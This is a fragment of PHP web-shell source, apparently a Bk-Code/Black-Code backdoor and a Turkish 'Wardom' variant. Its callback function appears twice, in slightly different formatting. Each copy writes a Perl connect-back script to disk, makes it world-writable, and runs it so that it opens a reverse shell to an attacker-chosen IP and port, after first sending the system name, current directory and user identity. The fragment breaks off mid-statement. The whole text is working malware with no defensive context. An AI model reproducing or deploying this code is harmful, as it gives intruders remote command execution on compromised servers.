function callback($nscdir, $bip, $bport)
{
if (strstr(php_os, "WIN")) {
$epath = "cmd.exe";
} else {
$epath = "/bin/sh";
}
if (is_writable($nscdir)) {
$fp = fopen("back.pl", "w");
$backpl = 'back.pl';
} else {
$fp = fopen("/tmp/back.pl", "w");
$backpl = '/tmp/back.pl';
}
fwrite($fp, "use Socket;\n\$system='{$epath}';\n\$sys= 'echo \"[ Operating system ][\$]\"; echo \"`uname -a`\";\necho \"[ Curr DIR ][\$]\"; echo \"`pwd`\";echo;\necho \"[ User perms ][\$]\";echo \"`id`\";echo;\necho \"[ Start shell ][\$]\";';\n\nif (!\$ARGV[0]) {\n exit(1);\n}\n\$host = \$ARGV[0];\n\$port = 80;\nif (\$ARGV[1]) {\n \$port = \$ARGV[1];\n}\n\$proto = getprotobyname('tcp') || die('Unknown Protocol\n');\nsocket(SERVER, PF_INET, SOCK_STREAM, \$proto) || die ('Socket Error\n');\nmy \$target = inet_aton(\$host);\nif (!connect(SERVER, pack 'SnA4x8', 2, \$port, \$target)) {\n die('Unable to Connect\n');\n}\nif (!fork( )) {\n open(STDIN,'>&SERVER');\n open(STDOUT,'>&SERVER');\n open(STDERR,'>&SERVER');\nprint '\n[ Bk-Code shell by Black-Code :: connect back backdoor by Crash_over_ride ]';\nprint '\n[ A-S-T team ][ Lezr.com ]\n\n'; \n system(\$sys);system (\$system);\n exit(0); }\n\t\t ");
callfuncs("chmod 777 {$backpl}");
ob_start();
callfuncs("perl {$backpl} {$bip} {$bport}");
ob_clean();
print "<div><b><center>[ Selected IP is " . $_REQUEST['bip'] . " and port is " . $_REQUEST['bport'] . " ]<br>\n[ Check your connection now, if failed try changing the port number ]<br>\n[ Or Go to a writable dir and then try to connect again ]<br>\n[ Return to the Current dir ] [<a href=" . inclink('dlink', 'scurrdir') . "&scdir={$nscdir}> Curr-Dir </a>] \n</div><br>";
}
function callback($nscdir,$bip,$bport){
if(strstr(php_os,"WIN")){$epath="cmd.exe";}else{$epath="/bin/sh";}
if (is_writable($nscdir)){
$fp=fopen ("back.pl","w");$backpl='back.pl';}
else {$fp=fopen ("/tmp/back.pl","w");$backpl='/tmp/back.pl';}
fwrite ($fp,"use Socket;
\$system='$epath';
\$sys= 'echo \"[ Operating system ][$]\"; echo \"`uname -a`\";
echo \"[ Curr DIR ][$]\"; echo \"`pwd`\";echo;
echo \"[ User perms ][$]\";echo \"`id`\";echo;
echo \"[ Start shell ][$]\";';
if (!\$ARGV[0]) {
exit(1);
}
\$host = \$ARGV[0];
\$port = 80;
if (\$ARGV[1]) {
\$port = \$ARGV[1];
}
\$proto = getprotobyname('tcp') || die('Unknown Protocol\n');
socket(SERVER, PF_INET, SOCK_STREAM, \$proto) || die ('Socket Error\n');
my \$target = inet_aton(\$host);
if (!connect(SERVER, pack 'SnA4x8', 2, \$port, \$target)) {
die('Unable to Connect\n');
}
if (!fork( )) {
open(STDIN,'>&SERVER');
open(STDOUT,'>&SERVER');
open(STDERR,'>&SERVER');
print '\n[ Wardom Bu kodlar Megabros Tarafından kodlanmış Arka pLanı Programlanmıştır ]';
print '\n[ Wardom ][ Megabrosl ]\n\n';
system(\$sys);system (\$system);
exit(0); }
");callfuncs("chmod 777 $backpl");
ob_start();
callfuncs("perl $backpl $bip $bport");
ob_clean();
print "<div><b><center>[ Selected IP is ".$_REQUEST['bip']." and port is ".$_REQUEST['bport']." ]<br>
[ Check your connection now, if failed try changing the port number ]<br>
[ Or Go to a writable dir and then try to connect again ]<br>
[ Return to the Current dir ] [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]
</div><br>";}if (isset($_REQUEST['uback'])){
